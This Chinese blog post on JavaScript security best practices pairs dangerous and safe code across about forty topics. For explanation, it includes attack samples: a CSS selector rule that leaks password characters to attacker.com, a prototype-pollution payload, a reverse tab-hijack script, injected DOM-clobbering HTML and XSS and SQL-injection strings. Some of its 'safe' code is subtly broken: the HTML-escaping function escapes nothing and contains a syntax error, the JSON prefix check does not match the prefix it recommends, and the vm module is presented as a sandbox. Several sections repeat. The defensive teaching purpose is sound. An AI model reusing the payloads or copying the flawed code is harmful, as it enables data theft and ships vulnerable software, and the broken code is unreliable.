JavaScript安全最佳实践

张玥 2025年8月12日 阅读时间 50分钟
JavaScript 安全 Web安全 前端开发
JavaScript安全概念图

随着Web应用变得越来越复杂,JavaScript安全问题变得比以往任何时候都更加重要。一个安全漏洞可能导致用户数据泄露、会话劫持甚至整个系统被攻陷。 在这篇文章中,我将分享JavaScript安全的最佳实践,涵盖XSS攻击防御、CSRF防护、安全数据处理等关键领域。 无论你是初级开发者还是资深工程师,这些实践都将帮助你构建更安全的Web应用。

1. 防范跨站脚本攻击(XSS)

XSS攻击是最常见的安全漏洞之一,攻击者通过在页面注入恶意脚本,窃取用户数据或执行未授权操作。防御XSS攻击需要多层次的防护策略。

// 危险做法:直接插入未处理的用户输入
document.getElementById('output').innerHTML = userInput;

// 安全做法:使用textContent替代innerHTML
document.getElementById('output').textContent = userInput;

// 使用DOMPurify库净化HTML内容
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = cleanHTML;

XSS攻击防护

对用户输入进行严格验证和转义

使用安全的DOM操作方法

设置Content Security Policy

关键警示

永远不要信任用户输入!所有来自用户的数据都应被视为不可信的,必须经过验证和清理。

2. 防止跨站请求伪造(CSRF)

CSRF攻击诱使用户在不知情的情况下执行恶意操作。有效的防护策略包括使用CSRF令牌和SameSite Cookie属性。

// 服务器生成CSRF令牌并发送给客户端
const csrfToken = generateSecureToken();
res.cookie('csrfToken', csrfToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict'
});

// 在表单中包含CSRF令牌
<form>
  <input type="hidden" name="csrfToken" value="<%= csrfToken %>">
  <!-- 表单其他字段 -->
</form>

// 服务器验证CSRF令牌
if (req.body.csrfToken !== req.cookies.csrfToken) {
  return res.status(403).send('Invalid CSRF token');
}

CSRF防护策略

为所有状态修改请求使用CSRF令牌

设置Cookie的SameSite属性

验证请求来源头(Origin/Referer)

3. 安全处理用户输入

正确处理用户输入是Web安全的基石。这包括输入验证、输出编码和上下文相关的处理。

// 输入验证示例
function validateEmail(email) {
  const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  return re.test(email);
}

// 输出编码函数
function encodeHTML(str) {
  return str.replace(/[&<>"']/g, function(match) {
    return {
      '&': '&',
      '<': '<',
      '>': '>',
      '"': '"',
      "'": '''
    }[match];
  });
}

// 在上下文中使用
const userInput = '<script>alert("XSS")</script>';
const safeOutput = encodeHTML(userInput);
document.getElementById('output').textContent = safeOutput;

输入处理原则

验证:检查输入是否符合预期格式

清理:移除或转义危险字符

上下文编码:根据输出位置使用不同编码

4. 使用内容安全策略(CSP)

内容安全策略(CSP)是一个强大的安全层,有助于检测和缓解某些类型的攻击,包括XSS和数据注入攻击。

// 在HTTP头中设置CSP策略
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline' https://trusted.cdn.com;
  img-src 'self' data: https://images.unsplash.com;
  style-src 'self' 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-src 'none';
  object-src 'none';

// 在HTML meta标签中设置CSP
<meta http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self' 'unsafe-inline';">

CSP最佳实践

使用default-src 'self'作为默认策略

避免使用'unsafe-inline'和'unsafe-eval'

使用nonce或hash允许特定内联脚本

5. 安全使用Cookie

Cookie中经常包含敏感信息,如会话标识符。不安全的Cookie处理可能导致会话劫持。

// 设置安全Cookie的HTTP响应头
Set-Cookie: sessionId=abc123;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/;
  Max-Age=2592000; // 30天

// JavaScript设置安全Cookie
document.cookie = `sessionId=abc123; ` +
  `Secure; ` +
  `SameSite=Strict; ` +
  `Path=/; ` +
  `Max-Age=2592000`;

安全Cookie设置

HttpOnly: 防止JavaScript访问

Secure: 仅通过HTTPS传输

SameSite: 防止CSRF攻击

6. 安全使用第三方库

现代Web应用大量使用第三方库,这些库可能成为攻击向量。需要谨慎选择和管理依赖项。

// 使用npm audit检查安全漏洞
$ npm audit

// 修复漏洞
$ npm audit fix

// 使用子资源完整性(SRI)验证CDN资源
<script src="https://cdn.example.com/library.js"
  integrity="sha384-..."
  crossorigin="anonymous"></script>

依赖管理策略

定期更新依赖库

使用SRI验证外部资源

审查依赖库的安全记录

7. 使用安全HTTP头部

HTTP安全头部提供额外的安全层,防止多种类型的攻击。

// 推荐的安全HTTP头部设置
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()

// 在Node.js/Express中设置安全头部
app.use(helmet());

关键安全头部

HSTS: 强制使用HTTPS

X-Frame-Options: 防止点击劫持

X-Content-Type-Options: 防止MIME类型嗅探

8. 保护敏感数据

前端代码中可能包含敏感信息,如API密钥。需要采取措施防止这些信息泄露。

// 错误做法:将密钥硬编码在客户端
const API_KEY = 'sk_live_1234567890abcdef';

// 正确做法:使用后端代理API请求
// 前端请求自己的服务器
fetch('/api/proxy-external', {
  method: 'POST',
  body: JSON.stringify({ query: '...' })
});

// 后端服务器转发请求并添加密钥
app.post('/api/proxy-external', async (req, res) => {
  const response = await fetch('https://external.api.com', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Authorization': `Bearer ${process.env.API_KEY}`
    },
    body: JSON.stringify(req.body)
  });
  const data = await response.json();
  res.json(data);
});

敏感数据保护

永远不要在前端存储API密钥

使用环境变量和后端代理

避免在客户端存储敏感信息

9. 安全错误处理

不当的错误处理可能泄露敏感信息,为攻击者提供有价值的信息。

// 危险做法:暴露堆栈跟踪
app.use(function(err, req, res, next) {
  // 生产环境中不应显示错误详情
  res.status(500).send(err.stack);
});

// 安全做法:通用错误响应
app.use(function(err, req, res, next) {
  if (process.env.NODE_ENV === 'development') {
    // 开发环境显示详细错误
    res.status(500).json({
      error: err.message,
      stack: err.stack
    });
  } else {
    // 生产环境显示通用错误
    res.status(500).send('发生错误,请稍后再试');
  }
});

// 客户端错误处理
try {
  // 可能出错的代码
} catch (error) {
  // 向用户显示友好信息
  showUserFriendlyError();
  // 记录详细错误到日志系统
  logError(error);
}

错误处理原则

生产环境不显示详细错误

记录错误到安全日志系统

向用户显示友好通用信息

10. 实施安全审计和测试

安全是一个持续的过程,需要定期审计和测试来发现潜在漏洞。

// 使用安全扫描工具
$ npm install -g snyk
$ snyk test
$ snyk monitor

// 使用OWASP ZAP进行渗透测试
// 1. 下载并启动OWASP ZAP
// 2. 配置目标URL
// 3. 运行自动扫描
// 4. 分析报告并修复问题

// 安全测试框架Jest示例
test('XSS漏洞测试', () => {
  const maliciousInput = '<script>alert(1)</script>';
  const safeOutput = sanitizeInput(maliciousInput);
  expect(safeOutput).not.toContain('<script>');
});

安全测试策略

使用自动化安全扫描工具

定期进行渗透测试

将安全测试集成到CI/CD流程

11. 安全的客户端存储

客户端存储(如localStorage、sessionStorage)容易成为攻击目标,需要采取特殊防护措施。

// 危险做法:直接存储敏感数据
localStorage.setItem('userToken', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// 安全做法:加密敏感数据
import CryptoJS from 'crypto-js';

const secretKey = 'secure-secret'; // 应从安全来源获取
const encryptedToken = CryptoJS.AES.encrypt(
  token,
  secretKey
).toString();
localStorage.setItem('userToken', encryptedToken);

// 读取时解密
const encrypted = localStorage.getItem('userToken');
const decrypted = CryptoJS.AES.decrypt(
  encrypted,
  secretKey
).toString(CryptoJS.enc.Utf8);

客户端存储安全原则

避免存储敏感信息(如密码)

存储前加密所有重要数据

设置合理的过期时间

使用HttpOnly Cookies替代存储令牌

重要提示

永远不要在前端存储未加密的敏感数据!即使加密,也要假设客户端存储可能被窃取。

12. 防范点击劫持攻击

点击劫持(Clickjacking)是一种视觉欺骗技术,诱使用户点击隐藏的恶意元素。

// 设置X-Frame-Options HTTP头
X-Frame-Options: DENY

// 更现代的替代方案:Content Security Policy
Content-Security-Policy: frame-ancestors 'self';

// JavaScript防御技术:框架破坏脚本
if (top !== self) {
  // 如果页面被嵌套在iframe中
  top.location = self.location; // 强制跳出框架
}

// 更健壮的框架破坏实现
const style = document.createElement('style');
style.innerHTML = 'body { display: none !important; }';
document.head.appendChild(style);

if (self === top) {
  document.body.style.display = 'block';
} else {
  top.location = self.location;
}

点击劫持防护策略

使用X-Frame-Options头

设置CSP的frame-ancestors指令

对敏感操作使用CAPTCHA验证

实现框架破坏脚本作为额外防护

13. 防范JSON劫持

JSON劫持是一种特殊的数据窃取技术,攻击者可以窃取JSON API返回的敏感数据。

// 易受攻击的JSON响应
[
  { "id": 1, "name": "张三", "email": "zhangsan@example.com" },
  { "id": 2, "name": "李四", "email": "lisi@example.com" }
]

// 安全做法1:添加前缀
while(1);
[
  { "id": 1, "name": "张三", "email": "zhangsan@example.com" },
  ...
]

// 安全做法2:使用对象包装
{
  "data": [
    { "id": 1, "name": "张三", "email": "zhangsan@example.com" },
    ...
  ]
}

// 前端处理带前缀的JSON
fetch('/api/users')
  .then(response => response.text())
  .then(text => {
    if (text.startsWith(')]}\',\n')) {
      const json = JSON.parse(text.substring(5));
    }
  });

JSON安全最佳实践

避免JSON数组作为顶级元素

添加不可解析的前缀(如while(1);)

设置Content-Type为application/json

使用POST请求获取敏感数据

历史漏洞

JSON劫持曾影响Gmail等大型服务。现代浏览器已修复相关漏洞,但防御措施仍值得实施。

14. 防范开放重定向漏洞

开放重定向漏洞允许攻击者将用户重定向到恶意网站,常用于钓鱼攻击。

// 危险做法:直接使用用户输入的重定向URL
const redirectUrl = req.query.returnUrl;
res.redirect(redirectUrl);

// 安全做法1:验证重定向URL在白名单中
const safeRedirect = (url) => {
  const allowedDomains = ['example.com', 'trusted-site.com'];
  const domain = new URL(url).hostname;
  if (allowedDomains.includes(domain)) {
    return url;
  }
  return '/'; // 默认重定向
}
res.redirect(safeRedirect(req.query.returnUrl));

// 安全做法2:使用相对路径或映射ID
const redirectMap = {
  home: '/',
  profile: '/user/profile',
  settings: '/user/settings'
};
const target = redirectMap[req.query.target] || '/';
res.redirect(target);

重定向安全原则

验证所有重定向目标URL

使用白名单允许的域名

避免直接使用用户提供的URL

使用映射ID代替完整URL

重要提示

开放重定向常被用于提高钓鱼攻击的成功率,因为用户更可能信任来自合法域名的重定向。

15. 防范依赖混淆攻击

依赖混淆攻击发生在攻击者发布与内部包同名的公共包,诱使安装恶意版本。

// 危险做法:没有作用域的内部包
// package.json
{
  "dependencies": {
    "internal-utils": "^1.2.3" // 可能被恶意公共包取代
  }
}

// 安全做法:使用作用域包
{
  "dependencies": {
    "@mycompany/internal-utils": "^1.2.3"
  }
}

// 配置.npmrc确保使用私有仓库
@mycompany:registry=https://npm.mycompany.com
registry=https://registry.npmjs.org/

// 使用npm audit检查依赖
$ npm audit --production

依赖混淆防护策略

为所有内部包使用作用域名称

配置私有npm仓库

使用npm ci确保锁定依赖版本

定期审计依赖关系

16. 防范原型污染攻击

原型污染允许攻击者修改JavaScript对象的原型,可能导致拒绝服务或远程代码执行。

// 易受攻击的代码
function merge(target, source) {
  for (const key in source) {
    if (source.hasOwnProperty(key)) {
      target[key] = source[key];
    }
  }
  return target;
}

// 攻击者可以污染Object原型
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));

// 安全做法1:使用Object.create(null)创建无原型对象
const safeObject = Object.create(null);
merge(safeObject, userInput);

// 安全做法2:使用Map代替Object
const safeMap = new Map();
safeMap.set('key', 'value');

原型污染防护

避免不安全的递归合并函数

使用Object.freeze()冻结敏感原型

使用无原型对象(Object.create(null))

使用Map/Set代替普通对象

高危漏洞

原型污染曾影响lodash、jQuery等流行库,被列为OWASP Top 10客户端安全风险。

17. 安全使用WebSockets

WebSocket连接需要与传统HTTP相同的安全考虑,同时面临新的攻击面。

// 危险做法:不安全的WebSocket连接
const socket = new WebSocket('ws://example.com/chat');

// 安全做法1:使用wss://(TLS加密)
const socket = new WebSocket('wss://example.com/chat');

// 安全做法2:验证来源
socket.onmessage = (event) => {
  try {
    const data = JSON.parse(event.data);
    // 验证消息结构
    if (!isValidMessage(data)) {
      throw new Error('Invalid message format');
    }
    // 处理消息...
  } catch (error) {
    console.error('Invalid message:', error);
  }
};

// 服务器端:限制连接频率
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });
const connections = new Map();

wss.on('connection', (ws, req) => {
  const ip = req.socket.remoteAddress;
  const count = connections.get(ip) || 0;
  if (count > 10) { // 限制每个IP的连接数
    ws.close(1008, 'Too many connections');
    return;
  }
  connections.set(ip, count + 1);

  ws.on('close', () => {
    connections.set(ip, Math.max(0, (connections.get(ip) || 0) - 1));
  });
});

WebSocket安全原则

始终使用wss://(TLS加密)

验证消息格式和内容

实现速率限制防止滥用

使用身份验证令牌

18. 防范定时攻击

定时攻击通过测量操作时间差来推断敏感信息,如密码验证。

// 易受定时攻击的密码验证
function unsafeCompare(a, b) {
  if (a.length !== b.length) return false;
  for (let i = 0; i < a.length; i++) {
    if (a[i] !== b[i]) return false;
  }
  return true;
}

// 安全做法:恒定时间比较
function safeCompare(a, b) {
  const bufferA = Buffer.from(a);
  const bufferB = Buffer.from(b);
  return crypto.timingSafeEqual(bufferA, bufferB);
}

// 使用HMAC进行安全比较
function compareWithHMAC(a, b, secret) {
  const hmacA = crypto.createHmac('sha256', secret).update(a).digest();
  const hmacB = crypto.createHmac('sha256', secret).update(b).digest();
  return crypto.timingSafeEqual(hmacA, hmacB);
}

定时攻击防护

使用恒定时间比较算法

避免基于用户输入的过早返回

使用HMAC进行安全比较

引入随机延迟(谨慎使用)

高级威胁

定时攻击需要高精度测量,但在云环境和本地网络攻击中仍然可行,尤其对高价值目标。

19. 安全使用Web Workers

Web Workers在后台线程运行代码,需要特殊的安全考虑。

// 危险做法:在Worker中直接执行用户代码
const worker = new Worker('worker.js');
worker.postMessage({
  code: userProvidedCode // 可能包含恶意代码
});

// worker.js
self.onmessage = (e) => {
  const result = eval(e.data.code); // 高危操作!
  postMessage(result);
};

// 安全做法:使用沙箱模式
import { Worker, isMainThread, parentPort } from 'worker_threads';
import vm from 'vm';

if (!isMainThread) {
  parentPort.on('message', (task) => {
    try {
      // 在沙箱中运行不受信任的代码
      const context = vm.createContext({
        console: { log: () => {} } // 限制可用API
      });
      const script = new vm.Script(task.code);
      const result = script.runInContext(context);
      parentPort.postMessage({ result });
    } catch (error) {
      parentPort.postMessage({ error: error.message });
    }
  });
}

Web Workers安全

避免在Worker中执行不受信任的代码

使用沙箱环境隔离执行

限制Worker可访问的API

验证Worker间传递的消息

20. 安全使用WebRTC

WebRTC提供实时通信能力,但可能暴露用户IP地址等敏感信息。

// 危险做法:无限制使用WebRTC
const pc = new RTCPeerConnection();
pc.createOffer().then(offer => pc.setLocalDescription(offer));

// 安全做法1:使用代理隐藏真实IP
const pc = new RTCPeerConnection({
  iceServers: [
    {
      urls: ['turn:turn.example.com'],
      username: 'user',
      credential: 'pass'
    }
  ]
});

// 安全做法2:限制数据通道权限
const dc = pc.createDataChannel('chat', {
  negotiated: true,
  id: 0,
  ordered: true, // 保证消息顺序
  maxPacketLifeTime: 3000 // 3秒超时
});

// 安全做法3:请求用户权限
navigator.mediaDevices.getUserMedia({
  video: true,
  audio: true
}).then(stream => {
  // 处理媒体流
}).catch(error => {
  console.error('Media access denied:', error);
});

WebRTC安全实践

使用TURN服务器隐藏客户端IP

限制数据通道的权限和能力

请求明确的用户媒体权限

使用DTLS-SRTP加密媒体流

隐私警告

WebRTC可能绕过VPN泄露真实IP地址,使用TURN中继是保护用户隐私的关键措施。

21. 防范DOM Clobbering攻击

DOM Clobbering是一种利用HTML元素覆盖JavaScript变量的攻击技术。

// 易受攻击的代码
if (window.config) {
  // 使用配置对象
}

<!-- 攻击者注入的HTML -->
<form id="config"></form>
<a id="config" name="admin" href="..."></a>

// 安全做法1:使用更严格的检查
if (typeof window.config === 'object' && !(window.config instanceof HTMLElement)) {
  // 安全使用配置对象
}

// 安全做法2:使用Symbol创建唯一属性
const configSymbol = Symbol('config');
window[configSymbol] = { ... }; // 无法被HTML元素覆盖

DOM Clobbering防护

避免依赖全局命名空间

使用Symbol创建唯一标识符

严格检查对象类型

使用模块作用域代替全局变量

隐蔽攻击

DOM Clobbering常被用于绕过CSP策略,是高级XSS攻击的组成部分。

22. 安全的JWT实现

JSON Web Tokens(JWT)被广泛使用,但错误实现可能导致严重安全漏洞。

// 危险做法:客户端存储敏感数据
const token = jwt.sign({
  userId: 123,
  role: 'admin',
  password: 'hashed-but-still-sensitive' // 不应包含在JWT中
}, secret);

// 安全做法:最小化payload
const token = jwt.sign({
  sub: 'user123', // 唯一标识符
  iat: Math.floor(Date.now() / 1000), // 签发时间
  exp: Math.floor(Date.now() / 1000) + (60 * 60) // 1小时过期
}, secret, { algorithm: 'RS256' });

// 安全做法:使用适当的算法
// 避免使用HS256,使用RS256或更好的EdDSA
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

JWT安全最佳实践

最小化payload内容

设置短期有效期(exp)

使用强算法(RS256/EdDSA)

验证签名算法

安全存储令牌(HttpOnly Cookie)

23. 防范HTTP参数污染

攻击者通过提供多个同名参数来破坏应用程序逻辑。

// 易受攻击的URL
/api/users?role=user&role=admin

// Express.js中req.query.role可能是数组
const role = req.query.role; // ['user', 'admin']

// 安全做法:规范化参数
function getSingleParam(param) {
  if (Array.isArray(param)) {
    return param[0]; // 或根据业务逻辑处理
  }
  return param;
}

// 安全做法:使用中间件
app.use((req, res, next) => {
  for (const key in req.query) {
    if (Array.isArray(req.query[key])) {
      req.query[key] = req.query[key][0];
    }
  }
  next();
});

参数污染防护

始终检查参数类型

规范化多值参数

使用参数白名单

实施严格的输入验证

24. 安全的CORS配置

错误的跨域资源共享(CORS)设置可能导致敏感数据泄露。

// 危险做法:过于宽松的CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true // 冲突设置

// 安全做法:动态验证来源
const allowedOrigins = ['https://example.com', 'https://trusted-site.com'];
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
}

// 安全做法:限制允许的方法和头部
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '86400'); // 24小时

CORS安全配置

避免使用通配符(*)与凭据

使用严格的白名单验证来源

限制允许的HTTP方法和头部

设置适当的Access-Control-Max-Age

常见错误

同时设置`Access-Control-Allow-Origin: *`和`Access-Control-Allow-Credentials: true`是无效且危险的配置。

25. 防范服务器端请求伪造(SSRF)

SSRF允许攻击者诱使服务器向内部系统发出恶意请求。

// 易受攻击的代码
app.get('/fetch', (req, res) => {
  const url = req.query.url;
  fetch(url) // 可能访问内部资源
    .then(response => response.text())
    .then(data => res.send(data));
});

// 安全做法:验证和限制目标URL
const allowedDomains = ['example.com', 'trusted-site.com'];
const url = new URL(req.query.url);
if (!allowedDomains.includes(url.hostname)) {
  return res.status(400).send('Invalid domain');
}

// 安全做法:使用DNS重绑定保护
const resolver = new dns.Resolver();
resolver.resolve4(url.hostname, (err, addresses) => {
  if (isPrivateIP(addresses[0])) {
    return res.status(403).send('Access to internal resources denied');
  }
  // 继续安全请求
});

SSRF防护策略

验证所有用户提供的URL

阻止访问内部IP地址

使用白名单限制目标域名

实施DNS重绑定保护

26. 安全的GraphQL实现

GraphQL的灵活性可能引入独特的安全挑战,如复杂查询攻击。

// 易受攻击:无限制的深度查询
{
  user(id: 123) {
    friends {
      friends {
        friends { /* 递归攻击 */
          id
        }
      }
    }
  }
}

// 安全做法:限制查询深度
const depthLimit = require('graphql-depth-limit');
const MAX_DEPTH = 5;
app.use('/graphql', graphqlExpress({
  schema,
  validationRules: [depthLimit(MAX_DEPTH)]
}));

// 安全做法:查询成本分析
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const complexityRules = createComplexityLimitRule(1000, {
  onCost: (cost) => console.log(`Query cost: ${cost}`)
});
validationRules: [complexityRules]

GraphQL安全实践

限制查询深度和复杂性

实施查询成本分析

禁用内省在生产环境

使用持久化查询

27. 防范反向Tab劫持

反向Tab劫持允许恶意网站控制用户在其他标签页中的会话。

// 恶意网站代码
const win = window.open('https://target-site.com');
setTimeout(() => {
  win.location = 'https://target-site.com/logout';
}, 5000);

// 防御方法:检查window.opener
if (window.opener) {
  // 清除敏感数据
  localStorage.clear();
  sessionStorage.clear();
  // 重定向到登录页
  window.location = '/login';
}

// 安全做法:设置rel="noopener"
<a href="https://external.com" target="_blank" rel="noopener noreferrer">
  安全链接
</a>

Tab劫持防护

所有外部链接添加rel="noopener"

检查window.opener并处理

使用Cross-Origin-Opener-Policy头

用户登出时清除所有存储数据

28. 安全的WebSocket消息处理

WebSocket消息需要像HTTP请求一样进行严格的验证和清理。

// 易受攻击:直接处理消息
socket.on('message', (message) => {
  const data = JSON.parse(message);
  db.query(`SELECT * FROM users WHERE id = ${data.userId}`); // SQL注入!
});

// 安全做法:消息验证模式
const Joi = require('joi');
const messageSchema = Joi.object({
  userId: Joi.number().integer().min(1).required(),
  action: Joi.string().valid('join', 'leave').required()
});

socket.on('message', (message) => {
  const { error, value } = messageSchema.validate(JSON.parse(message));
  if (error) {
    return socket.send(JSON.stringify({ error: 'Invalid message' }));
  }
  // 安全处理验证后的数据
});

WebSocket消息安全

验证所有传入消息的结构

使用模式验证库(如Joi)

限制消息大小和频率

使用参数化查询处理数据

29. 防范客户端路径遍历

客户端路径遍历允许攻击者访问应用程序的敏感文件或目录。

// 易受攻击:使用用户输入构建路径
const filePath = `/user-uploads/${userInput}`;
fetch(filePath).then(...);

// 安全做法1:规范化并检查路径
const safeBasePath = '/user-uploads';
const resolvedPath = path.resolve(safeBasePath, userInput);
if (!resolvedPath.startsWith(safeBasePath)) {
  throw new Error('Invalid file path');
}

// 安全做法2:使用文件ID代替路径
const fileId = sanitize(userInput); // 仅允许字母数字
fetch(`/api/files/${fileId}`);

路径遍历防护

避免直接使用用户输入构建路径

使用规范化函数解析路径

检查最终路径是否在允许目录内

使用文件ID代替原始路径

重要提示

客户端路径遍历常与服务器端漏洞结合使用,防御需要在客户端和服务器端同时实施。

30. 安全的WebAssembly使用

WebAssembly提供接近原生的性能,但需要特殊的安全考虑。

// 安全做法:隔离WASM模块
const importObject = {
  env: {
    memory: new WebAssembly.Memory({ initial: 256 }),
    table: new WebAssembly.Table({ initial: 0, element: 'anyfunc' })
  }
};

// 编译和实例化
WebAssembly.instantiateStreaming(fetch('module.wasm'), importObject)
  .then(obj => {
    // 使用模块
  });

// 安全做法:验证WASM字节码
async function loadSafeWasm(url) {
  const response = await fetch(url);
  const buffer = await response.arrayBuffer();
  if (!isValidWasm(buffer)) {
    throw new Error('Invalid WASM module');
  }
  return WebAssembly.compile(buffer);
}

WebAssembly安全

沙箱化WASM模块执行环境

限制内存和CPU使用

验证WASM字节码完整性

使用可信来源的模块

31. 安全的Service Workers实现

Service Workers是强大的PWA技术,但错误的实现可能导致安全风险。

// 危险做法:注册来自用户输入的Service Worker
const userScript = getUserInput();
navigator.serviceWorker.register(userScript);

// 安全做法:仅注册同源脚本
if (location.origin === 'https://example.com') {
  navigator.serviceWorker.register('/sw.js', {
    scope: '/'
  });
}

// 安全做法:设置内容安全策略
// Service Worker文件头部添加
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval'

Service Worker安全

仅注册同源脚本

限制作用域(scope)

实施严格的CSP策略

定期更新Service Worker

32. 防范基于缓存的攻击

浏览器缓存可能被用于窃取敏感信息或进行拒绝服务攻击。

// 危险做法:缓存包含敏感数据的响应
app.get('/user', (req, res) => {
  res.setHeader('Cache-Control', 'public, max-age=3600');
  res.json({ user: req.user }); // 包含敏感信息
});

// 安全做法:谨慎设置缓存头
app.get('/user', (req, res) => {
  res.setHeader('Cache-Control', 'private, no-store');
  res.json({ user: sanitizedUserData });
});

// 安全做法:使用Vary头
res.setHeader('Vary', 'Cookie, Authorization');

缓存安全原则

敏感内容设置no-store

用户特定内容使用private

使用Vary头区分响应

定期清除敏感缓存

33. 安全的跨域通信

postMessage API需要谨慎使用以防止跨域攻击。

// 危险做法:不验证消息来源
window.addEventListener('message', (event) => {
  // 处理来自任何来源的消息
  processMessage(event.data);
});

// 安全做法:严格验证来源
window.addEventListener('message', (event) => {
  const allowedOrigin = 'https://trusted.com';
  if (event.origin !== allowedOrigin) return;
  
  // 验证消息结构
  if (typeof event.data !== 'object') return;
  if (!event.data.type || !event.data.payload) return;
  
  processMessage(event.data);
});

postMessage安全

始终验证event.origin

使用严格的消息结构验证

限制消息类型和内容

避免处理序列化函数

关键风险

不安全的postMessage处理是XSS攻击的主要入口点之一,可能导致完全会话劫持。

34. 防范基于时间的攻击

时间攻击通过测量操作时间差来推断敏感信息,如密码验证。

// 易受攻击的字符串比较
function unsafeCompare(a, b) {
  if (a.length !== b.length) return false;
  for (let i = 0; i < a.length; i++) {
    if (a[i] !== b[i]) return false;
  }
  return true;
}

// 安全做法:恒定时间比较
function safeCompare(a, b) {
  const bufferA = Buffer.from(a);
  const bufferB = Buffer.from(b);
  return crypto.timingSafeEqual(bufferA, bufferB);
}

时间攻击防护

使用恒定时间比较算法

避免基于输入的提前返回

引入随机延迟(谨慎使用)

使用HMAC进行安全比较

35. 安全的WebRTC配置

WebRTC可能泄露用户IP地址,需要特殊配置保护隐私。

// 安全配置:使用TURN服务器
const pc = new RTCPeerConnection({
  iceServers: [
    {
      urls: ['stun:stun.example.com']
    },
    {
      urls: ['turn:turn.example.com'],
      username: 'user',
      credential: 'pass'
    }
  ]
});

// 安全做法:限制IP暴露
pc.createOffer({
  offerToReceiveAudio: true,
  offerToReceiveVideo: true
}).then(offer => {
  // 移除私有IP候选
  const filteredOffer = removePrivateIPs(offer);
  return pc.setLocalDescription(filteredOffer);
});

WebRTC隐私保护

始终使用TURN服务器

过滤SDP中的私有IP地址

使用VPN时禁用WebRTC

明确请求用户权限

36. 防范客户端SQL注入

使用WebSQL或客户端SQL库时,仍需要防范注入攻击。

// 易受攻击:拼接SQL查询
const query = `SELECT * FROM users WHERE id = ${userId}`;
db.executeSql(query, [], (result) => {
  // 处理结果
});

// 安全做法:使用参数化查询
const query = 'SELECT * FROM users WHERE id = ?';
db.executeSql(query, [userId], (result) => {
  // 安全处理结果
});

// 安全做法:输入验证
if (!/^\d+$/.test(userId)) {
  throw new Error('Invalid user ID');
}

客户端SQL安全

始终使用参数化查询

验证所有输入参数

限制数据库权限

避免动态表/列名

37. 安全的浏览器存储分区

第三方iframe中的存储可能被滥用,需要适当的分区策略。

// 启用存储分区
// 在HTTP头中设置
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-site

// 安全做法:使用分区存储API
if ('storageBuckets' in navigator) {
  const bucket = await navigator.storageBuckets.open('secure-bucket');
  const localStorage = bucket.localStorage;
  localStorage.setItem('token', 'secure-value');
}

存储分区策略

使用COOP/COEP头

利用Storage Buckets API

分离敏感数据存储

限制第三方存储访问

38. 防范基于CSS的攻击

CSS选择器和属性可能被用于窃取用户数据或进行UI欺骗。

/* 属性选择器攻击示例 */
input[type="password"][value^="a"] {
  background-image: url("https://attacker.com/?char=a");
}

// 防御方法:使用CSP限制
Content-Security-Policy: style-src 'self' 'unsafe-inline';

// 安全做法:避免内联样式
<link rel="stylesheet" href="styles.css">

CSS安全实践

避免使用属性选择器处理敏感数据

限制外部样式表来源

使用nonce或hash内联样式

实施严格的CSP策略

39. 安全的Web组件实现

Web Components需要特别注意Shadow DOM中的安全边界。

// 安全做法:封闭Shadow DOM
class SecureElement extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'closed' });
    this.shadowRoot.innerHTML = `
      <style>:host { display: block; }</style>
      <div>安全内容</div>
    `;
  }
}

// 安全做法:消毒模板内容
const template = document.createElement('template');
template.innerHTML = DOMPurify.sanitize(userContent);
this.shadowRoot.appendChild(template.content.cloneNode(true));

Web组件安全

使用封闭Shadow DOM模式

消毒所有动态内容

避免暴露内部元素

谨慎处理插槽(slot)内容

40. 防范基于Web Audio的攻击

Web Audio API可能被用于指纹识别或拒绝服务攻击。

// 安全做法:限制音频处理
const context = new AudioContext({
  latencyHint: 'interactive',
  sampleRate: 44100
});
context.suspend(); // 默认暂停

// 用户交互后启用
document.addEventListener('click', () => {
  context.resume();
});

// 安全做法:限制处理节点
const MAX_NODES = 50;
const nodes = new Set();

function createSafeNode() {
  if (nodes.size >= MAX_NODES) {
    throw new Error('Too many audio nodes');
  }
  const node = context.createGain();
  nodes.add(node);
  return node;
}

Web Audio安全

需要用户交互才启用

限制并发音频处理节点

监控CPU使用情况

避免指纹识别技术

41. 安全的WebGL实现

WebGL提供强大的3D渲染能力,但可能引入安全风险。

// 安全做法:创建安全上下文
const gl = canvas.getContext('webgl', {
  powerPreference: 'low-power',
  failIfMajorPerformanceCaveat: true,
  preserveDrawingBuffer: false
});

// 安全做法:验证着色器来源
function compileShader(source, type) {
  const shader = gl.createShader(type);
  gl.shaderSource(shader, source);
  gl.compileShader(shader);
  
  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
    const error = gl.getShaderInfoLog(shader);
    gl.deleteShader(shader);
    throw new Error(`Shader compilation error: ${error}`);
  }
  return shader;
}

WebGL安全实践

使用低功耗模式

验证所有着色器代码

限制纹理尺寸

监控GPU内存使用

性能风险

恶意WebGL内容可能导致设备过热或浏览器崩溃,应实施严格的资源限制。